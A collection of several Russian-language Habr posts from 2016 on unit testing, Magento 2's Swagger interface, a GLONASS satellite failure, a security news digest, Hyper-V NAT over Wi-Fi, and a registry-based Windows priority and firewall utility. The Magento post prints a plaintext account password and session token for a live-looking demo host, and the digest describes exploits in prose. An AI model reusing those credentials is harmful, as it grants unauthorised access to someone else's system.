После прочтения всего этого возникнет вопрос, а какие плюсы от внедрения модульного тестирования можно получить? Ранее я привела 2 схемы работы команд, и теперь опишу применительно к каждой из них:
Команда, работающая по аджайл методологии. Ниже на схеме приведено место модульного тестирования в команде такого типа:
В данном случае модульное тестирование подключается на поздней стадии разработки, когда происходит фактически уже «вылизывание» кода, а вся основная функциональность разработана. Модульному тестировщику НЕ НАДО начинать в процесс с начала, чтобы глянуть правильно ли выполнена разработка на бэк офисной системе или интеграционной шине.
В аджайл команде все участники процесса до начала разработки знают какие фичи они взяли в спринт и понимают как они должны работать с точки зрения конечного пользователя. В итоге мы приходим к тому, что время, которое необходимо затратить, прежде чем специалист приступит к тестированию, близко к нулю. Нам не нужно писать тест-кейсы (не спешите удивляться как же так, а как же передача знаний и тому подобное), мы сразу лезем в код и приступаем.
После окончания разработки мы получаем, что далее в тестирование задача идет уже проверенной и не содержащей критичных багов (как со стороны разработки, так и со стороны анализа). А что с некритичными? Такие баги встречаются, но крайне редко и обычно они завязаны на очень специфичные тестовые данные. Каждый такой кейс обрабатывается и заносится в вики команды. Но это еще не все плюшки, которые получаются на выходе!
При наличии в команде модульного тестирования автоматизатора (а он у нас есть!), на выходе мы также получаем автоматизированные модульные тесты! Это может быть набор тестов на каком либо выбранном тестовом фреймворке, либо набор скриптов, которые объединены в единый пак и вызываются по требованию/расписанию. Далее эти тесты включаются в некий регресс пак, который содержит в себе и автоматизированные модульные тесты и тесты отдела автоматизации (чуть позже мы рассмотрим, чем они отличаются) и прогоняется перед выводом задач спринта на бой. Что он нам дает думаю ясно и без моих пояснений.
Также допускается, подключение интеграционного тестированию параллельно с модульным тестированием. Пока команда тестирования через фронтовые системы дойдет до middle или back систем, тестирование будет выполнено уже более чем на 70-80%. Т.е. никаких простоев, связанных с необходимостью правки кода, у них не будет. Это что касается аджайл-команды.
Теперь посмотрим как обстоят дела в командах, которые работают по каскадному принципу. Схема с включенным модульным тестированием выглядит так:
Тут мы видим, что интеграционное тестирование начинается после окончания модульного. Это основное и принципиальное отличие от уже рассмотренного варианта. Пока задача не ушла с модульного тестирования, интеграционное тестирование не начинается. Готовятся тестовые сценарии, тестовые данные.
В остальном процесс не меняется, те же данные на выходе и те же плюшки, что и в agile командах.
Чуть выше я обещала поговорить о том, чем же отличаются автоматизированные модульные тесты, от автотестов команды автоматизации. Отличие очень простое и на поверхности. В 99% команда автоматизации автоматизирует не конкретную доработку, а процесс.
Рассмотрим на примере запроса информации по карте через интернет банк. Команда автоматизации пишет кейс на уровне фронта (логин/переход на вкладку/выбрали карту/нажали кнопку запросить баланс) Все мы знаем сколько по времени будет выполняться такой тест. А на выходе мы получим либо есть информация, либо ее нет. В очень редких случаях мы получим понимание в какой системе/каком функционале произошла ошибка.
Что с автоматизированными модульными тестами? Берем тот же пример. Тест написан на интеграционный уровень, которому на вход подается заполненный контракт (вытаскивается из фронтовой системы), далее происходит трансформация, вызов системы источника, обработка результатов и формирование ответа для системы приемника. В каждой точке стоит проверка. Осталось проверить, а точно ли все что надо вернула система источник? Далее вы знаете решение данной загадки. Тем самым мы получаем не один, а два теста, которые выполняются в несколько раз быстрее и дают исчерпывающие знания в случае ошибки. Не тратим время на анализ и разбор логов. Как внедрить модульное тестирование?
Согласитесь, что простой целой команды на протяжении сколько-нибудь длительного времени это уже катастрофа? Поэтому основная польза от внедрения промежуточного этапа модульного тестирования в команду достаточно очевидна. Осталось только донести её до всех участников процесса и заинтересованных в конечном результате лиц.
Для начала нужно принять как данность, что не все понимают что вообще за зверь — модульное тестирование. Необходимо провести некоторую разъяснительною работу среди команды и доступно изложить всё то, что рассматривалось выше по поводу отличий такой команды от классических тестировщиков.
После подготовительной работы основная задача — добиться внедрения подхода с модульным тестированием хотя бы в тестовом режиме, выделив на это небольшую часть ресурсов.
После проведения нескольких показательных спринтов с новой формацией команды доказательствами эффективности такого подхода будут служить: Найденные на этапе модульного тестирования дефекты. (тут можно провести аналогии с ранее найденными дефектами того же уровня и показать разницу во времени простоя команды до момента их устранения)
Качество переданного в интеграционное тестирование функционала.
Реакцию разработчиков, с которыми будут говорить на понятном им языке.
В случае добавление в процесс модульного тестирования автоматизации — готовые автоматизированные модульные тесты, позволяющие в будущем уйти от части ручных проверок функционала.
Заключение:
В итоге, по завершении всех вышеперечисленных операций по внедрению, модульное тестирование должно стать неотъемлемой частью процесса, которая позволит: Сократить количество пропущенных дефектов.
Ускорить процесс вывода нового функционала до конечного пользователя.
Амортизировать процесс взаимодействия между командами ручного тестирования и разработкой.
Создать и поддерживать накопительную базу низкоуровневых автотестов, не зависящих от изменений интерфейсной части.
| https://habrahabr.ru/post/317788/ |
habrahabr | Swagger в Magento 2 | ['magento 2', 'swagger', 'rest api', 'json'] | Тенденция перехода от сборки HTML-страниц на стороне сервера к их сборке на стороне клиента уже даже не тенденция, а тренд. Magento 2, шагая в ногу со временем в меру своих возможностей, также... | Тенденция перехода от сборки HTML-страниц на стороне сервера к их сборке на стороне клиента уже даже не тенденция, а тренд. Magento 2, шагая в ногу со временем в меру своих возможностей, также пытается быть в тренде , разнося обработку данных и их представление. Как простому разработчику заглянуть в "чистые" данные, если их представление вынесено достаточно далеко? Есть множество других хороших решений (начиная c tcpdump ), и есть swagger . Swagger достаточно хорошо интегрирован в Magento 2 (если только вам в голову не пришла дурацкая затея изменить код для "default" витрины). Все, что нужно для того, чтобы начать разглядывать "чистые" данные в Magento 2 с точки зрения удаленного приложения — использовать интегрированный в нее Swagger. В данном материале я не рассматриваю особенности использования самого Swagger'а, а просто привожу пример того, как использовать Swagger, интегрированный в Magneto 2, в режиме анонимного пользователя и в режиме аутентифицированного пользователя. Доступ к сервисам Я развернул простой Magento-модуль по адресу http://module.sample.flancer32.com/ . Чтобы начать использовать Swagger в режиме анонимного пользователя нужно перейти по адресу http://module.sample.flancer32.com/swagger Сначала загружается само Swagger-приложение (быстро), а затем идет загрузка описания web-сервисов, реализованных в Magento (медленно): JSON-схему сервисов Magento можно вытянуть и самому по ссылке: http://module.sample.flancer32.com/rest/default/schema?services=all Анонимные запросы После разбора схемы Swagger формирует список сервисов, доступных анонимному клиенту: и позволяет не только изучать в человекочитаемом виде сами сервисы: … но и формировать запросы: … и анализировать ответы: Доступ к ограниченным сервисам Для начала нужно сделать в Magento отдельного пользователя (использовать административную учетку для доступа к сервисам — не самая хорошая идея): и назначить ей права доступа (User Roles):
Вернее, сначала делается роль, а потом, при создании, она назначается новому пользователю. Предоставлять все права через роль — тоже не самая хорошая идея, но ведь и я не идеален. Поэтому в нашем примере пользователю "swagger" назначена роль "Swagger", которой предоставлены права на доступ к любым ресурсам. Аутентификация через web-интерфейс не предусмотрена, может быть когда-нибудь кто-нибудь и допилит этот момент в Magento 2, но пока что аутентифицироваться приходится вручную: через свой любимый универсальный REST API клиент, через программный код или через "curl": curl -X POST "http://module.sample.flancer32.com/rest/V1/integration/admin/token" \
-H "Content-Type:application/json" \
-d '{"username":"swagger", "password":"0jul4san0lRLKjYQpCqx"}' Все, что нужно сделать — отправить определенный JSON-текст с параметрами аутентификации на определенный адрес (не забыв про заголовок с типом содержимого запроса). В ответ придет сессионный код для доступа к ограниченным сервисам: "f6j0arlp29vx8i3av9l3eu5sag2pb5qy" Код придет в кавычках, но использовать его нужно без. Ну вот, теперь, имея код, мы вводим его в соответствующее поле: … и получаем доступ к уже более широкому списку сервисов. Например, к такому: Дальнейшая работа с сервисами ничем не отличается от работы в режиме анонимного пользователя. Сессионный ключ для авторизации добавляется Swagger'ом автоматически: Заключение Swagger — замечательный инструмент, замечательно интегрированный в замечательную платформу Magento 2. Разрабатывать web-сервисы с таким инструментарием — одно удовольствие. | https://habrahabr.ru/post/317770/ |
habrahabr | Сообщается о потере одного из спутников системы ГЛОНАСС | ['ГЛОНАСС', 'спутник', 'потеря', 'GPS', 'навигация', 'космонавтика'] |
Сегодня был утерян один из спутников группировки ГЛОНАСС, сообщает «Интерфакс». «Вышел из строя спутник 737, ему на замену из резерва выведен космический аппарат 723», — приводит слова своего... |
Сегодня был утерян один из спутников группировки ГЛОНАСС, сообщает «Интерфакс» . «Вышел из строя спутник 737, ему на замену из резерва выведен космический аппарат 723», — приводит слова своего источника в ракетно-космической отрасли информационное агентство.
На официальном сайте Информационно-аналитического центра со ссылкой на Центр управления системой ГЛОНАСС косвенно подтверждается эта информация : «космический аппарат ГЛОНАСС-М №723 выведен из орбитального резерва и с 00:00 (МСК) 15 декабря 2016 года находится на этапе ввода в состав орбитальной группировки».
Система спутниковой навигации ГЛОНАСС разрабатывается с 1975 года. Это вторая спутниковая система, доведенная до рабочего состояния после GPS. Впервые до штатного размера группировка спутников (24 единицы) была доведена в 1995 году, но к 2001 их осталось всего шесть. С середины нулевых правительство России активно занимается восстановлением работы системы и поддержанием ее в рабочем состоянии. Первыми пользователями ГЛОНАСС стали вооруженные силы РФ. Только за последние три года на орбиту было выведено семь спутников ГЛОНАСС.
На 7 декабря 2016 года штатно использовалось 23 спутника, один был выведен на плановое обслуживание. Резерв спутников составляет два космических аппарата, один из которых сейчас задействовал центр управления системой ГЛОНАСС. На этапе летных испытаний находится еще один спутник.
Всего в рамках развития и поддержания работоспособности системы ГЛОНАСС СССР и Российская Федерация выполнили 131 пуск космических аппаратов. При этом для обеспечения работы американской системы GPS с февраля 1978 года понадобилось только 72 запуска. | https://geektimes.ru/post/283800/ |
habrahabr | Security Week 50: социализация криптолокеров, аудит OpenVPN, уязвимость в ядре Linux | ['klsw', 'popcorn time', 'криптолокеры', 'linux kernel', 'openvpn', 'zcash'] | Только мы обсудили, что криптолокеры стали вредоносной темой года не за технологии атаки, а благодаря, скажем так, социальным аспектам проблемы, как пришла новость, это подтверждающая. Вымогатель... | Только мы обсудили, что криптолокеры стали вредоносной темой года не за технологии атаки, а благодаря, скажем так, социальным аспектам проблемы, как пришла новость , это подтверждающая. Вымогатель Popcorn Time назван в честь перспективного, но зарубленного на взлете софта для удобного скачивания фильмов из торрентов. Лоренс Абрамс, владелец сайта BleepingComputer, обнаружил , что код трояна явно не дописан, из-за чего не всегда работает связь с командным центром.
Но главной особенностью трояна является альтернативный вариант расшифровки: жертве предлагается отправить друзьям ссылку, по которой, предположительно, скачивается такой же троян, и в случае если два адресата установят вредоносную программу, ключ отправителю будет предоставлен бесплатно (иначе требуют 1 BTC). Предположительно, так как сайт в сети Tor на момент анализа вредоносной программы был недоступен.
В общем, на практике конкретно эта схема работать вряд ли будет. Не стоит забывать и о том, что распространение вредоносных программ преследуется уголовным кодексом вне зависимости от намерений или необходимости срочно расшифровать рабочие документы. Но попытка интересная: дистрибуция вредоносного контента самими жертвами происходит часто, но жертвы обычно об этом не догадываются. А тут дилемма покруче, чем «платить или не платить выкуп». Очень хочется верить в то, что данная технология развития не получит. Требование выкупа выглядит примерно так. Очень много букв. Собраны средства на публичный аудит OpenVPN Новость .
Известный специалист по криптографии Мэтью Грин проведет аудит ПО OpenVPN. Договоренность с Грином достигнута публичным VPN-сервисом Private Internet Access, который спонсирует работу. Примечательно, что 22 ноября сбор средств для такой же цели начал фонд Open Source Technology Improvement. После того, как было собрано более 30 тысяч долларов (в основном жертвовали другие VPN-сервисы), Private Internet Access совершил демарш и оплатил все из своего кармана.
Понятно, что операторы VPN-сервисов кровно заинтересованы как в надежности своих продуктов, так и в грамотном пиаре. Пока непонятно, как разрулится эта ситуация, но если аудита в итоге будет два, никто особо не расстроится. Грин планирует исследовать самую свежую версию OpenVPN 2.4, сейчас находящуюся в стадии Release Candidate, релиз ожидается в январе. Результаты аудита будут «в начале года», хотя, если судить по опыту аудита TrueCrypt, история может затянуться. Напомню, проверка TrueCrypt завершилась в прошлом году: была обнаружена пара мелких уязвимостей, но ни одна не затрагивает защищенность данных. Закрыта уязвимость в ядре Linux Новость . Описание и Proof of Concept . Коммит , исправляющий проблему.
Уязвимость, способная привести к локальному повышению привилегий, была обнаружена в модуле af_packet, и появилась она там достаточно давно — в августе 2011 года. Тем не менее, закрыта она была через 4 дня после того, как исследователь приватно зарепортил проблему. В proof of concept показано, как можно создать состояние гонки, и на примере Ubuntu 16.04 с ядром 4.4 был продемонстрирован запуск шелла с правами суперпользователя. Помимо десктопных устройств на Linux, проблема актуальна и для Android, с рядом ограничений. В ряде случаев эксплойт может вызвать зависание системы, а кроме того может быть использован для удаленного взлома сервера, в случае если до этого как-то удалось получить к нему доступ с ограниченными правами. Что еще произошло:
Серьезная уязвимость в некоторых роутерах Netgear, эксплуатируется тривиально — достаточно кликнуть на подготовленную ссылку, находясь в локальной сети. Временно лечится выключением веб-интерфейса (что тоже можно сделать, кликнув подготовленную ссылку).
Интересное исследование майнинга новой криптовалюты Zcash на чужих мощностях, без ведома владельца. Интересен способ обнаружения: сам майнер де-факто вредоносной программой не является. Но выявить потенциально зараженные системы можно по правилу: «есть майнер, который притворяется другой программой». Древности
Семейство «Azusa»
Очень опасные вирусы. Поражают Boot-секторы дискет и MBR винчестера. Boot-сектор сохраняют в последнем секторе дискеты, исходный MBR не сохраняют (содержат загрузчик в своем коде). Периодически «завешивают» COM- и LPT-порты. Перехватывают int 13h. Цитата по книге «Компьютерные вирусы в MS-DOS» Евгения Касперского. 1992 год. Страницa 95. Disclaimer: Данная колонка отражает лишь частное мнение ее автора. Оно может совпадать с позицией компании «Лаборатория Касперского», а может и не совпадать. Тут уж как повезет. | https://habrahabr.ru/company/kaspersky/blog/317794/ |
habrahabr | Проблемы при работе hyper-v по wi-fi сети | ['hyper-v'] | Здравствуйте, уважаемые читатели, прошу не бросать в меня помидорами из-за столь странного использования виртуализации, у меня дома достаточно хорошая беспроводная сеть с пингом менее 1мс и... | Здравствуйте, уважаемые читатели, прошу не бросать в меня помидорами из-за столь странного использования виртуализации, у меня дома достаточно хорошая беспроводная сеть с пингом менее 1мс и скоростью около 90Мбит, между роутером и компьютером всего одна стена и она без металлической арматуры, а тянуть провод до компа проблематично. Мне понадобилось держать в постоянном доступе на внешнюю сеть сервер на Linux и чтобы он работал в фоне и запускался сам при включении компьютера, т.к. в Windows 10 pro есть hyper-v, то почему бы не использовать его. Но я сильно расстроился, когда виртуальные машины начали периодами терять связь с внешним миром, потери пингов достигали 20-40%.
Виртуальный коммутатор был настроен на внешнюю сеть, т.е. пробрасывал мост в локальную беспроводную сеть. Поработав один день, я обнаружил что часто сайт недоступен извне, а через секунд 30 снова работает, а потом это повторялось. Сперва долго не мог понять в чем дело, доставал ноутбук, начинал пинговать виртуалку, пинги идут и в этот момент уже и сайт открывается, потом запустил пинги из консоли виртуалки, обнаружил обрывы, одновременно запустил пинг из хост-системы, тут всё идеально, 0% потерь.
Дня три я ползал по разным форумам в поисках ответа, но везде люди ссылались на то что хост-система забирает ресурсы у виртуальных машин, что Windows 10 такая кривая и надо ставить серверную систему для таких целей, но причина оказалась не в этом.
Оказывается что при создании моста виртуальные сетевые интерфейсы с разными mac-адресами выходят через мою сетевую карту, в результате одна сетевая карта выходит в сеть с разными mac, если по проводной сети это работает прекрасно, то в беспроводной сети такое поведение вызывает неадекватную работу сети, на некоторых wi-fi картах таких проблем не будет, но на большинстве возникают проблемы.
Чтобы решить проблему со стабильностью соединения виртуальных машин, нужно использовать NAT и пробрасывать порты. В сети гуляет много инструкций как это сделать, но с простым открытием доступа на внешней сетевой карте это решить не получится.
А теперь по порядку, сперва нам нужно создать виртуальный коммутатор с типом «внутренняя сеть», в сетевых соединениях появится виртуальный интерфейс, он будет связующим с виртуальными машинами. У виртуальных машин задаем IP адреса в подсети, отличной от нашей локальной сети. Если в локальной сети у нас подсеть 192.168.0.0/24, то в виртуальной сделаем, например, 192.168.137.0/24, нашей виртуальной машине зададим 192.168.137.100, а виртуальному интерфейсу 192.168.137.1 и это будет шлюзом для наших машин.
А теперь про NAT, обычный способ с общим доступом к интерфейсу будет работать до первой перезагрузки хост-машины, скорей всего виртуальный интерфейс появляется в системе позже, чем реальная сетевая карта с ее общим доступом и NAT просто слетает, а нам нужно чтобы всё работало сразу при включении компьютера. На помощь приходит эта инструкция , открываем консоль PowerShell от имени администратора и вводим там: New-NetNat -Name nat1 -InternalIPInterfaceAddressPrefix 192.168.137.0/24
Еще раз проверяем, чтобы на виртуальной сетевой карте на хост-системе не сбился ip, теперь о пробросе портов в той же консольке netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.137.100 connectport=80 protocol=tcp
В результате при обращении к нашему компьютеру по порту 8080 — запрос будет переадресовываться в нашу виртуальную машину с ip 192.168.137.100 на 80й порт.
Дальше можно пробросить 80й порт с роутера на нашу машину на 8080 и виртуальный веб-сервер будет доступен снаружи, аналогично можно сделать с ftp, ssh и другими необходимыми сервисами.
Надеюсь, что кто то другой, столкнувшись с такой проблемой не будет переустанавливать драйвера, переставлять разные галочки в настройках hyper-v и обновлять ядро в Linux, а сразу сделает NAT. Такая настройка не годится для боевых серверов, но для всяких домашних временных серверов вполне пойдет. | https://habrahabr.ru/post/317800/ |
habrahabr | «Полезняшки» или «Реестр Windows как платформа» | ['regedit', 'firewall', 'batch', 'priority', 'windows 7', 'windows 8', 'windows 10', 'uac', 'диспетчер задач', 'брандмауэр', 'файервол', 'приоритет'] | Хочу рассказать вам историю, как решение конкретных прикладных задач привело меня к использованию реестра Windows в качестве платформы для хранения и исполнения кода.
Приоритеты
Давным-давно,... | Хочу рассказать вам историю, как решение конкретных прикладных задач привело меня к использованию реестра Windows в качестве платформы для хранения и исполнения кода. Приоритеты
Давным-давно, когда я переходил с ХР на Семерку, одним из важных преимуществ новой системы я считал введение приоритетов на ввод-вывод и на пейджинг, а не только на процессор. Однако сейчас у нас Десятка на дворе, а удобных штатных средств управления этими приоритетами так и не появилось.
Как я с удивлением обнаруживаю, большинство пользователей вообще не в курсе о такой замечательной возможности. Их удовлетворяет опция в Task Manager по смене текущего приоритета CPU для уже запущенного процесса (и то только если им это будет позволено). А ситуацию, когда даже выставленный в LOW фоновый процесс своим дисковым обменом или свопингом мешает работать более приоритетным задачам, считают неизбежным злом.
Некоторые, устав от обращения к Task Manager при каждом запуске, вставляют в ярлыки запуска критичных программ перед самим объектом что-то вроде cmd /c start /realtime
Это позволяет запустить что-то с приоритетом HIGH (а не realtime, как они думают), но никак не затрагивает проблему с приоритетом ввода-вывода. Кроме того, ряд приложений используют файл-запускальщик, который, в свою очередь, запускает основную программу. А она в таком варианте будет запущена с приоритетом по умолчанию, и лишь уже не нужный запускальщик будет красоваться в Task Manager с приоритетом HIGH.
Решением проблемы является создание веток в « Image File Execution Options » в реестре, но руками это делать достаточно утомительно.
Конечно, есть ряд сторонних приложений, которые позволят вам прописать правильные ветки в реестре для нужной программы, но я специально упомянул в первом абзаце слово «штатных»: зачастую это нужно делать на машине, на которой запрещена установка сторонних экзешников, отключены сменные носители, и затруднено получение (как из интернета, так и по почте) любых исполняемых файлов, пакетов, архивов, BAT, CMD и даже REG-файлов. В особо серьезных случаях контролируется реальное содержимое файла на предмет смены типа или внедрение в документ-контейнер вложения недозволенного типа.
Итак, намаявшись с реестром, я поставил себе задачу написать утилитку, которая позволяет менять базовый приоритет запуска программы как для CPU, так и для IO и Paging, и при этом: использует только штатные средства, присутствующие в дефолтной инсталляции windows.
избавляет от необходимости вписывать имя файла (например, активируясь из его контекстного меню)
избавляет от необходимости во введении пароля администратора в командной строке или в предварительном открытии сессии под администратором (единственно, что допустимо – всплывающее окно UAC)
(необязательно) не оставляет никаких постоянных файлов на диске (дабы не нервировать сотрудников Первого отдела)
(необязательно) поддерживает деинсталляцию
(главное) может быть получена, как текст (по почте или с web-страницы), а не файл.
Последнее требование важно не только в плане доставки. Это универсальный способ показать пользователю, что утилита не содержит закладок или нежелательного функционала. Заодно и выполнение одного из требований GPL – предоставления исходного кода.
Изложенные требования определили выбор, что это должен быть скриптовый язык, последующие исследования показали, что даже к PowerShell прибегать не нужно, достаточно будет обычного синтаксиса CMD и VBS, затем попробовал уместить одно действие в одну строку, а не в bat-файл, а далее, так как в любом случае требовалась запись в реестр, родилась мысль уместить все в самом реестре, тем самым выполнив условие по отсутствию файлов.
В итоге получилась утилитка, которая выглядит, как выпадающее подменю в свойствах исполняемых файлов:
А вот она сама: Windows Registry Editor Version 5.00
;Copyright 2016 Trottle
;This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License version 3.
;This program is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
;See <http://www.gnu.org/licenses/> for more details.
[-HKEY_CLASSES_ROOT\exefile\shell\Bpc]
[HKEY_CLASSES_ROOT\exefile\shell\Bpc]
"HasLUAShield"=""
"MUIVerb"="Set base priority"
"subcommands"=""
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\01low]
"MUIVerb"="Idle CPU, lowest IO, low paging"
"Icon"="comres.dll,9"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\01low\command]
@="cmd /q /c echo Windows Registry Editor Version 5.00>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & for /f \"delims=<\" %%i in (\"%1\") do echo [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%%~nxi\\PerfOptions]>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"CpuPriorityClass\"=dword:00000001>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"IoPriority\"=dword:00000000>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"PagePriority\"=dword:00000001>>%%TEMP%%\\pr.reg & regedit /s %%TEMP%%\\pr.reg & del %%TEMP%%\\pr.reg & msg * %~ni priority is set to IDLE"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\02below]
"MUIVerb"="Below normal CPU, low IO"
"Icon"="comres.dll,12"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\02below\command]
@="cmd /q /c echo Windows Registry Editor Version 5.00>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & for /f \"delims=<\" %%i in (\"%1\") do echo [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%%~nxi\\PerfOptions]>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"CpuPriorityClass\"=dword:00000005>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"IoPriority\"=dword:00000001>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"PagePriority\"=->>%%TEMP%%\\pr.reg & regedit /s %%TEMP%%\\pr.reg & del %%TEMP%%\\pr.reg & msg * %~ni priority is set to BELOW NORMAL"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\03above]
"Icon"="comres.dll,8"
"MUIVerb"="Above normal CPU"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\03above\command]
@="cmd /q /c echo Windows Registry Editor Version 5.00>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & for /f \"delims=<\" %%i in (\"%1\") do echo [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%%~nxi\\PerfOptions]>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"CpuPriorityClass\"=dword:00000006>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"IoPriority\"=->>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"PagePriority\"=->>%%TEMP%%\\pr.reg & regedit /s %%TEMP%%\\pr.reg & del %%TEMP%%\\pr.reg & msg * %~ni priority is set to ABOVE NORMAL"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\04high]
"MUIVerb"="High CPU"
"Icon"="comres.dll,16"
"CommandFlags"=dword:00000040
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\04high\command]
@="cmd /q /c echo Windows Registry Editor Version 5.00>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & for /f \"delims=<\" %%i in (\"%1\") do echo [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%%~nxi\\PerfOptions]>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"CpuPriorityClass\"=dword:00000003>>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"IoPriority\"=->>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & echo \"PagePriority\"=->>%%TEMP%%\\pr.reg & regedit /s %%TEMP%%\\pr.reg & del %%TEMP%%\\pr.reg & msg * %~ni priority is set to HIGH"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\06ask]
"MUIVerb"="Show current priorities"
"Icon"="shell32.dll,23"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\06ask\command]
@="cmd /q /c for /f \"delims=<\" %%i in (\"%1\") do reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%%~nxi\\PerfOptions\" /s | msg *"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\07default]
"MUIVerb"="Restore to default"
"Icon"="comres.dll,4"
[HKEY_CLASSES_ROOT\exefile\shell\Bpc\shell\07default\command]
@="cmd /q /c echo Windows Registry Editor Version 5.00>%%TEMP%%\\pr.reg & echo.>>%%TEMP%%\\pr.reg & for /f \"delims=<\" %%i in (\"%1\") do echo [-HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%%~nxi\\PerfOptions]>>%%TEMP%%\\pr.reg & regedit /s %%TEMP%%\\pr.reg & del %%TEMP%%\\pr.reg & msg * %~ni priority is restored to default"
; If you do not want to have uninstaller you can skip next part:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BpcSubMenu]
"DisplayName"="'Set base priority' submenu"
"DisplayIcon"="imageres.dll,73"
"UninstallString"="cmd /q /c echo Windows Registry Editor Version 5.00>%TEMP%\\pr.reg & echo.>>%TEMP%\\pr.reg & echo [-HKEY_CLASSES_ROOT\\exefile\\shell\\Bpc]>>%TEMP%\\pr.reg & echo.>>%TEMP%\\pr.reg & echo [-HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\BpcSubMenu]>>%TEMP%\\pr.reg & regedit /s %TEMP%\\pr.reg & del %TEMP%\\pr.reg"
"DisplayVersion"="1.1"
"URLInfoAbout"="http://habrahabr.ru/post/317802/"
"NoModify"=dword:00000001
"NoRepair"=dword:00000001
Соответственно, процесс инсталляции выглядит так: получаем вышеизложенный исходник, сохраняем его, как reg-файл, и запускаем. После чего его можно смело удалять. А мы получаем новое подменю по правому клику мышки на исполняемом файле.
При этом, правда, стоит учитывать две вещи:
1. То, что делает утилитка, разрешено только админам, поэтому, если вы не член группы админов, одним только запросом UAC не обойдется.
2. Windоws почему-то показывает подменю не только на самих.ЕХЕ, но и на их ярлыках, но при этом не вызывает на последних пункты подменю.
Также вы, должно быть, заметили, что:
— во-первых, нет приоритета Realtime,
— во вторых, все приоритеты, кроме CPU, идут только в сторону уменьшения
— в третьих, приоритет Paging ставится чуть выше, чем приоритет IO.
Это соответствует рекомендациям Microsoft по работе с приоритезацией:
— уменьшать у ненужного, а не увеличивать у нужного;
— свопинг важнее работы с файлами;
— не работать с Realtime («честный» риалтайм действительно может быть опасен для стабильности всей системы, поэтому через реестр ни его, ни высокий приоритет IO не выставить). Брандмауэр
Между первой и второй промежуток небольшой – решил таким же образом упростить работу со штатным брандмауэром. Многим он хорош, но не удобством обращения с ним. В данном случае решил ускорить создание разрешений или запрещений на программу. (Считаю возможность привязывать правила к программам главным преимуществом внутреннего брандмауэра перед внешним.) Я использую брандмауэр в режиме блокировки исходящих соединений по умолчанию, поэтому добавлять новую программу, как правило, приходится часто.
Получилось такое:
и текст: Windows Registry Editor Version 5.00
;Copyright 2016 Trottle
;This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License version 3.
;This program is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
;See <http://www.gnu.org/licenses/> for more details.
[-HKEY_CLASSES_ROOT\exefile\shell\FWc]
[HKEY_CLASSES_ROOT\exefile\shell\FWc]
"MUIVerb"="Set firewall rules"
"Icon"="imageres.dll,102"
"subcommands"=""
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\01]
"MUIVerb"="block inbound"
"Icon"="imageres.dll,100"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\01\command]
@="cmd /q /c echo CreateObject(\"Shell.Application\").ShellExecute \"cmd\", \"/q /c chcp 1251 & netsh advfirewall firewall add rule name=\"\"%1\"\" dir=in action=block program=\"\"%1\"\" enable=yes | msg * \", \"\", \"runas\" > %%temp%%\\ev.vbs & cscript %%temp%%\\ev.vbs & del %%temp%%\\ev.vbs"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\02]
"MUIVerb"="allow inbound"
"Icon"="imageres.dll,101"
[HKEY_CLASSES_ROOT\exefile\shell\FWc\shell\02\command]
@="cmd /q /c echo CreateObject(\"Shell.Application\").ShellExecute \"cmd\", \"/q /c chcp 1251 & netsh advfirewall firewall add rule name=\"\"%1\"\" dir=in action=allow program=\"\"%1\"\" enable=yes | msg * \", \"\", \"runas\" > %%temp%%\\ev.vbs & cscript %%temp%%\\ev.vbs & del %%temp%%\\ev.vbs"
